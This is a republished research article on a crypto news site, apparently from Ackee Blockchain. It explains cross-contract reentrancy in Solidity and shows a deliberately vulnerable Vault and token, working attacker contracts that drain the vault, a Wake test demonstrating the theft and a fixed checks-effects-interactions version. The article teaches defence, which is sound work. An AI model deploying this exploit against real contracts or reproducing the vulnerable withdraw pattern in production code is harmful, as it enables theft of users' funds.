By using this site, you agree to the Privacy Policy and Terms of Use.
Accept
KriptotekaKriptoteka
  • Home
  • News
    • Web3
    • Crypto News
    • Market Analysis
  • Market
    • AI
    • Altcoins
    • Bitcoin
    • Blockchain
    • CEX
    • Defi
    • DePIN
    • DEX
    • ETFs
    • Ethereum
    • Gaming
    • ICO/IDO
    • Institutions
    • L1&L2
    • Meme
    • NFT tech
    • RWA
    • Stable coins
  • Data
  • Events
  • Learn
  • Reports
  • Podcasts
  • Pro membership
Reading: Cross Contract Reentrancy Attacks: A Study on Ackee Blockchain
Share
Notification Show More
Font ResizerAa
Font ResizerAa
KriptotekaKriptoteka
  • Home
  • News
  • Market
  • Data
  • Events
  • Learn
  • Reports
  • Podcasts
  • Pro membership
  • Home
  • News
    • Web3
    • Crypto News
    • Market Analysis
  • Market
    • AI
    • Altcoins
    • Bitcoin
    • Blockchain
    • CEX
    • Defi
    • DePIN
    • DEX
    • ETFs
    • Ethereum
    • Gaming
    • ICO/IDO
    • Institutions
    • L1&L2
    • Meme
    • NFT tech
    • RWA
    • Stable coins
  • Data
  • Events
  • Learn
  • Reports
  • Podcasts
  • Pro membership
Have an existing account? Sign In
Follow US
  • Advertise
© 2022 Foxiz News Network. Ruby Design Company. All Rights Reserved.
Kriptoteka > Market > Blockchain > Cross Contract Reentrancy Attacks: A Study on Ackee Blockchain
Blockchain

Cross Contract Reentrancy Attacks: A Study on Ackee Blockchain

marcel.mihalic@gmail.com
Last updated: September 16, 2024 1:14 am
By marcel.mihalic@gmail.com 9 Min Read
Share
SHARE

This research article examines how cross contract reentrancy attacks operate, provides an example of such an attack, and offers recommendations for preventing these types of vulnerabilities.

In earlier discussions, we explored single function and cross function reentrancy attacks. Those vulnerabilities were relatively easy to identify, as it suffices to ensure that when updating values through external calls, the correct values are used without unintended modifications.

What constitutes a cross contract reentrancy attack?

Cross contract reentrancy attacks exploit vulnerabilities by utilizing multiple smart contracts. The complexity of the code is heightened due to the involvement of various contracts, necessitating thorough scrutiny of how values are updated across them. Additionally, ReentrancyGuard is ineffective against these kinds of attacks.

Example of a cross contract reentrancy attack

Here’s an example of a contract vulnerable to cross contract reentrancy.

We have a CCRToken contract and a Vault contract. The CCRToken is an ERC20 compliant custom token, while the Vault facilitates the exchange between ETH and CCRToken. The Vault holds ETH.

In the Vault contract, each user-accessible function employs a nonReentrancy modifier.

Thus, single function reentrancy is not feasible here. Moreover, the Vault contract lacks a transfer function necessary for cross function reentrancy. However, a similar transfer function exists within the CCRToken contract.

This is the token contract.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract CCRToken is ERC20, Ownable {

    // (manager i.e. victim) is trusted, so only they can mint and burn tokens
    constructor(address manager) ERC20("CCRToken", "CCRT") Ownable(manager) {}

    // Only the manager can mint tokens 
    function mint(address to, uint256 amount) external onlyOwner {
        _mint(to, amount);
    }
    // Burn tokens
    function burn(address from, uint256 amount) external onlyOwner {
        _burn(from, amount);
    }
}

This is the vulnerable vault contract.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./token.sol";

contract Vault is ReentrancyGuard, Ownable {
    CCRToken public customToken;

    constructor() Ownable(msg.sender) {}

    function setToken(address _customToken) external onlyOwner {
        customToken = CCRToken(_customToken);
    }   

    function deposit() external payable nonReentrant {
        customToken.mint(msg.sender, msg.value); // Convert ETH to CCRT
    }

    function burnUser() internal {
        customToken.burn(msg.sender, customToken.balanceOf(msg.sender));
    }

    /**
    * @notice Vulnerable function. Similar to cross function reentrancy but harder to detect.
    * It makes use of external contracts and thus has more complexity than variable-based vulnerabilities.
    */
    function withdraw() external nonReentrant {
        uint256 balance = customToken.balanceOf(msg.sender);
        require(balance > 0, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: balance}(""); 
        // The attacker can invoke the transfer function for CCRT in the callback.
        require(success, "Failed to send Ether"); 

        burnUser();
    }
}

The concept of the attack is reminiscent of the cross function reentrancy attack. The attacker invokes the withdraw function, triggering an external function call. Here, even though all external functions in this contract are marked as non-reentrant, the transfer function can still be executed since it resides in the CCRToken contract.

Steps to execute the attack

The attack is executed through the attack function after calling it.

  1. Call the deposit function in the Vault contract to set up for the attack.
  2. Trigger the withdraw function in the Vault contract, which leads to an external call to the attacker, invoking the receive function.
  3. In the receive function, the attacker performs a transfer in the Token contract, sending the ERC20 value to Attacker2.
  4. At this point, the total balance of both the Attacker and Attacker2 in the Token contract multiplies.
  5. Invoke attacker2.send to transfer the Token value from Attacker2 back to the Attacker.

These steps can then be repeated until the vault is completely depleted.

Contract for the Attacker

Here’s the contract used by the attacker.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "./vault.sol";

contract Attacker1 {
    Vault victim;
    CCRToken ccrt;
    Attacker2 attacker2;
    uint256 amount = 1 ether;

    /**
     * @param _victim Victim address
     * @param _ccrt  Victim token ERC20 address
     */ 
    constructor(address _victim, address _ccrt) payable {
        victim = Vault(_victim);
        ccrt = CCRToken(_ccrt);  
    }

    /**
     * @notice Assign the attacker2 contract
     * @param _attacker2 Address of the attacker colleague
     */
    function setattacker2(address _attacker2) public {
        attacker2 = Attacker2(_attacker2);
    }

    /**
     * @notice Receive ether. The same amount as withdraw() but can transfer the same amount to attacker2.
     * This is triggered by victim.withdraw().
     */
    receive() external payable {
        ccrt.transfer(address(attacker2), msg.value); 
    }

    /**
     * @notice Initiate the attack by making deposits and sequential withdrawals.
     */
    function attack() public {
        uint256 value = address(this).balance;
        victim.deposit{value: value}();
        while(address(victim).balance >= amount){
            victim.withdraw();
            attacker2.send(address(this), value); // Transfer ERC20 tokens that were multiplied in receive().
        }    
    }
}

contract Attacker2 {
    Vault victim;
    CCRToken ccrt;
    uint256 amount = 1 ether;

    constructor(address _victim, address _ccrt) {
        victim = Vault(_victim);
        ccrt = CCRToken(_ccrt);
    }

    /**
     * @notice Simply transfers ERC20 tokens to the attacker
     */
    function send(address _target, uint256 _amount) public {
        ccrt.transfer(_target, _amount);
    }
}

Demonstration of a cross-contract reentrancy exploit

This scenario becomes more complex compared to prior examples, however, the crucial aspect lies in the methodical calling of the attack function.

The process entails deploying the vault and token contracts, then setting their addresses.

In a similar vein, attackers are initialized, with the attack function executed within the attacking contract.

from wake.testing import *

from pytypes.contracts.crosscontractreentrancy.token import  CCRToken
from pytypes.contracts.crosscontractreentrancy.vault import Vault

from pytypes.contracts.crosscontractreentrancy.attacker import Attacker1
from pytypes.contracts.crosscontractreentrancy.attacker import Attacker2

@default_chain.connect()
def test_default():
    print("---------------------Cross Contract Reentrancy---------------------")
    victim = default_chain.accounts[0]
    attacker = default_chain.accounts[1]

    vault = Vault.deploy(from_=victim)
    token = CCRToken.deploy(vault.address, from_=victim)
    vault.setToken(token.address)
    vault.deposit(from_=victim, value="4 ether")

    attacker_contract = Attacker1.deploy(vault.address, token.address, from_=attacker, value="1 ether")
    attacker2_contract = Attacker2.deploy(vault.address, token.address, from_=attacker)

    attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)
    print("Vault balance  : ", vault.balance)
    print("Attacker balance: ", attacker_contract.balance)
    print("----------Attack----------")

    tx = attacker_contract.attack(from_=attacker)
    print(tx.call_trace)

    print("Vault balance   : ", vault.balance)
    print("Attacker balance: ", attacker_contract.balance)

The output from wake shows that the Vault’s balance dropped from 4 ETH to 0 ETH, while the Attacker’s balance increased from 1 ETH to 5 ETH.

Measures to prevent cross-contract reentrancy attacks

ReentrancyGuard

The basic reentrancy guard is not sufficient to thwart such attacks.

CEI (checks-effects-interactions)

This straightforward approach effectively eliminates the risk of a reentrancy attack and is the most effective method for mitigation.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./token.sol";

contract Vault is ReentrancyGuard, Ownable {
    CCRToken public customToken;

    constructor() Ownable(msg.sender) {}

    function setToken(address _customToken) external onlyOwner {
        customToken = CCRToken(_customToken);
    }   

    function deposit() external payable nonReentrant {
        customToken.mint(msg.sender, msg.value); // Convert ETH to CCRT
    }

    function burnUser() internal {
        customToken.burn(msg.sender, customToken.balanceOf(msg.sender));
    }

    /**
    * @notice Vulnerable function. Similar to cross function reentrancy but harder to trace.
    * It employs external contracts and has features beyond mere variable manipulations.
    */
    function withdraw() external nonReentrant {
        uint256 balance = customToken.balanceOf(msg.sender);
        require(balance > 0, "Insufficient balance");
        burnUser();
        (bool success, ) = msg.sender.call{value: balance}(""); 
        require(success, "Failed to send Ether"); 
    }
}

Conclusion

The primary concern with cross-contract reentrancy is that ReentrancyGuard fails to provide adequate protection. The underlying issue persists in that functions should not manipulate data while performing operations. In the presence of multiple contracts, the states are managed differently, and rectifying this should ultimately neutralize the attack vector.

We also maintain a Reentrancy Examples Github Repository featuring various forms of reentrancy attacks, including practical examples, protocol-specific scenarios, and mitigation strategies.

You Might Also Like

Coinbase CEO Proposes Crypto Wallet for AI Behind GOAT Meme Coin

Honduras & Colombia Local Grants Overview and Highlights

Rhinestone ERC-7579 Adapter Audit Summary and Findings Report

Victims file $235M class-action suit against WazirX for hack

Tether and Lugano Reveal Satoshi Nakamoto Statue at Forum

Share This Article
Facebook Twitter Email Print
Previous Article Crypto Millionaire Loses $43M in Bet, Buries Self in $132M Debt
Next Article Latest Trends in Crypto Staking: Ethereum and Bitcoin Insights
Leave a comment

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Stay Connected

FacebookLike
TwitterFollow
YoutubeSubscribe
TelegramFollow
- Advertisement -
Ad image

Latest News

4 Cryptos to Challenge Solana: Potential Growth for Investors
Defi
Bitcoin ETF Inflows Exceed $3B, Demand Reaches 6-Month Peak
ETFs
Japan’s Push for Bitcoin and Ethereum ETFs Gains Momentum
Institutions
Ripple Appeals Court Ruling on XRP’s Institutional Sales
Meme
//

We influence millions of users and is the number one Crypto and Web3 news network on the planet

Sign Up for Our Newsletter

Subscribe to our newsletter to get our newest articles instantly!

© 2022 Foxiz News Network. Ruby Design Company. All Rights Reserved.
Join Us!

Subscribe to our newsletter and never miss our latest news, podcasts etc..

Zero spam, Unsubscribe at any time.
Welcome Back!

Sign in to your account

Lost your password?